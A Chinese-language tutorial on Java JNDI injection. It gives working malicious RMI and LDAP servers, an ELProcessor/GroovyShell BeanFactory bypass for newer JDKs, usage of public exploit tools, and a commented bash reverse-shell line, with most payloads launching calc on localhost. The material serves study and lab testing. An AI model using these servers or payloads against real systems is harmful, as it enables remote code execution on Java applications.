JNDI注入

简介

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

SPI

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用;
  • LDAP: 轻量级目录访问协议;LDAP 既是一类服务,也是一种协议
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);

##JNDI结构

Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

1
2
3
4
5
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

InitialContext类

构造方法:

1
2
3
4
5
6
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)

常用方法:

1
2
3
4
5
6
7
8
9
10
//将名称绑定到对象。 
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)

例:

1
2
3
4
5
6
7
8
9
10
11
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class main {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
//初始化上下文,即是获取初始目录环境
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

Reference

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能

构造方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)

参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议

常用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()

常用属性:

1
2
3
className 远程加载时所使用的类名
classFactory 加载的 class 中需要实例化类的名称
classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议

JNDI注入

原理

即是控制lookup函数的参数,使得客户端访问恶意的RMI或者LOAP服务来加载恶意对象,从而执行代码,完成利用。

在JNDI服务中,通过绑定一个外部的远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用Reference类实现的,具体是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,可以从其他服务器上加载Class文件来实例化

客户端dns查询demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.example.jndi;

import javax.naming.Context;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class DNSclient {
public static void main(String[] args) {
Hashtable <String,String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL,"dns://114.114.114.114");
try {
DirContext dirContext = new InitialDirContext(env);
Attributes res = dirContext.getAttributes("example.com",new String[]{"A"});
System.out.println(res);
}catch (Exception e){
e.printStackTrace();
}
}
}
//注:114.114.114.114是国内移动、电信和联通通用的DNS,手机和电脑端都可以使用,干净无广告,解析成功率相对来说更高,国内用户使用的比较多,而且速度相对快、稳定,是国内用户上网常用的DNS。8.8.8.8是google的DNS

动态协议切换

上面的demo可以发现,初始化 JNDI 上下文主要使用环境变量实现:

  • INITIAL_CONTEXT_FACTORY:指定初始化协议的工厂类
  • PROVIDER_URL:指定对应名称服务的url地址

但是,实际上在 Context.lookup 方法的参数中,用户可以指定自己的查找协议,我们来看下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class JNDIDynamic {
public static void main(String[] args) {
if (args.length != 1) {
System.out.println("Usage: lookup <domain>");
return;
}
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

try {
DirContext ctx = new InitialDirContext(env);
DirContext lookCtx = (DirContext)ctx.lookup(args[0]);
Attributes res = lookCtx.getAttributes("", new String[]{"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}

该demo功能是一个DNS解析,但是,我们也可以通过指定的查找参数去切换查找协议:

这就是 JNDI 注入 的根源所在。通过精心构造服务端的返回,我们可以让请求查找的客户端解析远程代码,最终实现远程命令执行。JDK 中默认支持的 JNDI 自动协议转换以及对应的工厂类如下所示:

协议 schema Context
DNS dns:// com.sun.jndi.url.dns.dnsURLContext
RMI rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

JNDI-RMI

服务端:Server.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {

public static void main(String args[]) {

try {
Registry registry = LocateRegistry.createRegistry(1099);

String factoryUrl = "http://localhost:1098/";
Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Foo", wrapper);

System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}

客户端:Client.class

1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
public static void main(String[] args) {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/Foo");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}

恶意类:Evilcalss.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
static void log(String key) {
try {
System.out.println("EvilClass: " + key);
} catch (Exception e) {
// do nothing
}
}

{
EvilClass.log("IIB block"); //实例初始化块 IIB
}

static {
EvilClass.log("static block"); //静态代码块 Stctic
}

public EvilClass() {
EvilClass.log("constructor");
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
EvilClass.log("getObjectInstance");
return null;
}
}
/****
1,静态代码块在类加载的时候执行,只会执行一次,
2实例初始化块与静态代码块不同的是它可以被执行多次,每次new一个含实例初始化块的对象都会执行。实例初始话块只有在对象被实例化的时候才会先于构造器被调用,所以静态代码块是先于实例初始化块调用的。
执行顺序:static -> IIB -> constructor


###高版本JDK

低版本下可以直接运行,JDK 6u1327u1228u113 开始。com.sun.jndi.rmi.object.trustURLCodebase 默认值为false。运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。
不加参数,抛出异常:

image-20230404211529797

原因在于com\sun\jndi\rmi\registry\RegistryContext.java

trustURLCodebase默认是null

image-20230405224618788

lookup方法中进行了检测

image-20230405224815519

decodeObject方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 private Object decodeObject(Remote r, Name name) throws NamingException {
try {
Object obj = (r instanceof RemoteReference)
? ((RemoteReference)r).getReference()
: (Object)r;

/*
* Classes may only be loaded from an arbitrary URL codebase when
* the system property com.sun.jndi.rmi.object.trustURLCodebase
* has been set to "true".
*/

// Use reference if possible
Reference ref = null;
if (obj instanceof Reference) {
ref = (Reference) obj;
} else if (obj instanceof Referenceable) {
ref = ((Referenceable)(obj)).getReference();
}

if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
return NamingManager.getObjectInstance(obj, name, this,
environment);
} catch (NamingException e) {
throw e;
} catch (RemoteException e) {
throw (NamingException)
wrapRemoteException(e).fillInStackTrace();
} catch (Exception e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
}

分析源码绕过异常抛出ConfigurationException的方法:

  • ref=null
  • ref.getFactoryClassLocation() = null
  • trustURLCodebase = true

####绕过ConfigurationException

解决:

1,ref = null,这点需要rmi既不是Reference也不是Referenceable的引用。这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;

2,trustURLCodebase = true。如果能使用命令行,可以直接在命令行中设置该变量,如:

1
java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true JNDILookup rmi://localhost:1077/Foo

3,ref.getFactoryClassLocation() = null,getFactoryClassLocation()是获取所指对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键;

image-20230406215334792

满足该条件只需要在rmi服务中返回的Reference对象中不指定Factorycoedbase。(codebase:使用Java语言编写的程序,不仅可以在本地的classpath中加载类,也可以根据需要从网络上下载类。为了使Java程序可以从网络上下载类,我们需要使用codebase,codebase指定了Java程序在网络上何处可以找到需要的类)如:

1
Reference reference = new Reference("EvilClass");

####NamingManager.getObjectInstance

过了上面的判断之后,return NamingManager.getObjectInstance(obj, name, this, environment);跟进分析下该方法干了什么:

image-20230408163450496

​ 也就是会先从本地的CLASSPATH中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求,即前文中的情况。之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法。那么只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了

​ 由于getObjectInstance方法需要类实现javax.naming.spi.ObjectFactory接口,因此,我们实际上可以指定一个存在于目标CLASSPATH中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类)从而间接实现一定的代码控制

利用getObjectInstance方法可以实例化对象。

调用栈:

1
2
3
4
5
6
7
InitialContext#lookup()
RegistryContext#lookup()
RegistryContext#decodeObject()
NamingManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance() //-->恶意代码被执行
或: objectfactory#getObjectInstance() //-->恶意代码被执行

所以,我们需要寻找满足条件的工厂类:

  • 存在于目标本地的 CLASSPATH
  • 实现 javax.naming.spi.ObjectFactory 接口
  • 存在 getObjectInstance() 方法

tomcat中的org.apache.naming.factory.BeanFactory满足上述条件。

另外newinstance()创建实例,只能利用无参数构造方法。而且要求目标 class 得有无参构造方法且有办法执行相关命令。

javax.el.ELProcessor满足该条件,另外groovy.lang.GroovyShell也满足该条件。这里先看ELProcessor

image-20230408214039159

image-20230408215932299

org\apache\naming\factory\BeanFactory.class中。通过ref.get("forceString");来获取forceString对应的值。image-20230409203225439

后续再通过一系列操作将目标方法javax.el.ELProcessor.eval(java.lang.String)放进hashmap中。对应的键名是 X

image-20230409203748053

所以在exp中需要这样写:

1
2
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));

最终获取读出hashmap中的方法invoke调用eval方法,完成rce

image-20230408215303746

ELProcessor中的eval方法测试。该方法可以执行EL表达式

1
2
3
4
5
6
7
import javax.el.ELProcessor;
public class demo {
public static void main(String[] args) {
ELProcessor evil = new ELProcessor();
evil.eval("Runtime.getRuntime().exec(\"calc\")");
}
}

###exp - RMI

RMI服务 - EVILRMI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.example.jndi.RMI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;

public class EvilRMI {
public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(1077);
//javax.el.ELProcessor:Tomcat 8+ or SpringBoot 1.2.x+
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
// ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}

其中的org.apache.naming.ResourceReftomcat 中表示某个资源的引用,指定了资源的实际类为 javax.el.ELProcessor,工厂类为 apache.naming.factory.BeanFactoryx=eval 令上述代码实际执行的是 ELProcessor.eval 函数,其第一个参数是属性 x 的值,这里指定的是弹计算器。

JNDILookup - 客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.jndi.RMI;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILookup {
public static void main(String[] args) {
try {
Object ret = new InitialContext().lookup("rmi://localhost:1077/calc");
System.out.println("ret: " + ret);

} catch (NamingException e) {
e.printStackTrace();
}
}
}

image-20230408225741822

另外,使用groovy.lang.GroovyShell也是可以的。原理与上面类似,只是rce的时候略有不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.example.jndi.RMI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilRMI_GroovyShell {
public static void main(String args[]) {
try{
Registry registry = LocateRegistry.createRegistry(1077);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=evaluate"));

ref.add(new StringRefAddr("x","Runtime.getRuntime().exec(\"calc\").execute()"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
System.err.println("Server ready");
}catch (Exception e){
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}

JNDI-LDAP

​ LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。

​ 它是一种数据库,相对于mysql的表型存储;不同的是LDAP使用树型存储因为树型存储,读性能佳,写性能差,没有事务处理、回滚功能。)

除了RMI服务之外,JNDI也可以与LDAP目录服务进行交互,Java对象在LDAP目录中也有多种存储形式:

  • Java序列化
  • JNDI Reference
  • Marshalled对象
  • Remote Location (已弃用)

LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

使用这些方法存储在 LDAP 目录中的 Java 对象一旦被客户端解析(反序列化),就可能会引起远程代码执行。

LDAP树层次分为以下几层:

  • dn:一条记录的详细位置,由以下几种属性组成
  • dc: 一条记录所属区域(哪一个树,相当于MYSQL的数据库)
  • ou:一条记录所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
  • cn/uid:一条记录的名字/ID(树的叶节点的编号,想到与MYSQL的表主键?)

举个例子一条记录就是
dn=”uid=songtao.xu,ou=oa,dc=example,dc=com”

无限制

测试版本:jdk8U65

前面调用过程类似,在com.sun.jndi.ldap.Obj.java#decodeObject这里。该方法其主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象(反序列化,也就是8U191后的利用),也可能是一个Reference对象

这里先看Reference

image-20230411204955062

在decodeReference中返回了一个新的对象引用

image-20230411205541458

image-20230411205715219

LDAP的获取对象的方式为根据传入的属性,创建一个新的Reference对象。载判断var0.get(JAVA_ATTRIBUTES[5])是否为空,即判断是否存在javaReferenceAddress。若不存在直接返回新创建的Reference对象var5

return返回,在com\sun\jndi\ldap\LdapCtx.class中,又和上面的rmi一样,调用了getObjectInstance

image-20230411220406061

跟进看看,其中调用了getObjectFactoryFromReference

image-20230411221027824

他会先本地查找EXP类,如果不存在,则会通过getFactoryClassLocation远程URL,如果不为空。加载远程恶意类。

image-20230411221610680

调用栈:

image-20230411221907658

这里测试直接用的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar。(本地搭建ldap服务一直没成功)

trustURLCodebase限制

jdk11.0.18u1917u2016u211版本开始默认com.sun.jndi.ldap.object.trustURLCodebase设置为false

com\sun\naming\internal\VersionHelper12.java#loadClass中,加入了对trustURLCodebase的检测,loadclass的时候,如果trustURLCodebase = false则直接返回null。加载远程的字节码不会执行成功。

image-20230412014947258

绕过限制方法:使用序列化数据,触发本地Gadget

原因在于:LDAP中的数据可以是序列化对象,如果序列化对象会调用deserializeObject方法(最终调用readobject),返回一个反序列化对象,从而造成反序列化漏洞

image-20230412015554254

EXP-LDAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package com.example.jndi.LDAP;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


public class EVIL_LDAP {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://localhost/#Evil"};
int port = 6666;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

e.addAttribute("javaSerializedData", Base64.decode("Base64encode Gaget"));

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

一个搬来的图 - 各版本的注入方法

image-20230412022117255

工具使用

###JNDI-Injection-Exploit

该工具中没有实现ldap在8U191后的功能,应为涉及到了反序列化利用链。是不是可以尝试结合一下ysoserial魔改一下呢

jndi注入工具

1
2
-C 命令  -A IP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"

提供了绕过trustURLcodebae = false的和trustURLcodebae = turepaylaod

image-20230410212856653

###marshalsec

用于搭建rmi服务和ldap服务

使用方法:

在pom.xml文件路径下使用命令mvn clean package -DskipTests,打包项目,生成的jar报包在target目录下

1
2
3
#启动ldap服务
E:\java_file\JNDI\src\main\java\com\example\jndi\LDAP
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/E:\java_file\JNDI\src\main\java\com\example\jndi\LDAP/#Exploit 8088

注:看起来奇怪的代码:带有$符号的变量名字,就是普通变量没有特殊含义

image-20230408212306749

1
$在java代码里面用做命名规范的话一般表示内部或临时变量。有些用idea反编译出来的代码也存在比如class$1这种看似毫不相关的变量,因为可能有编译优化,生成的字节码再逆向回来会稍有不同

参考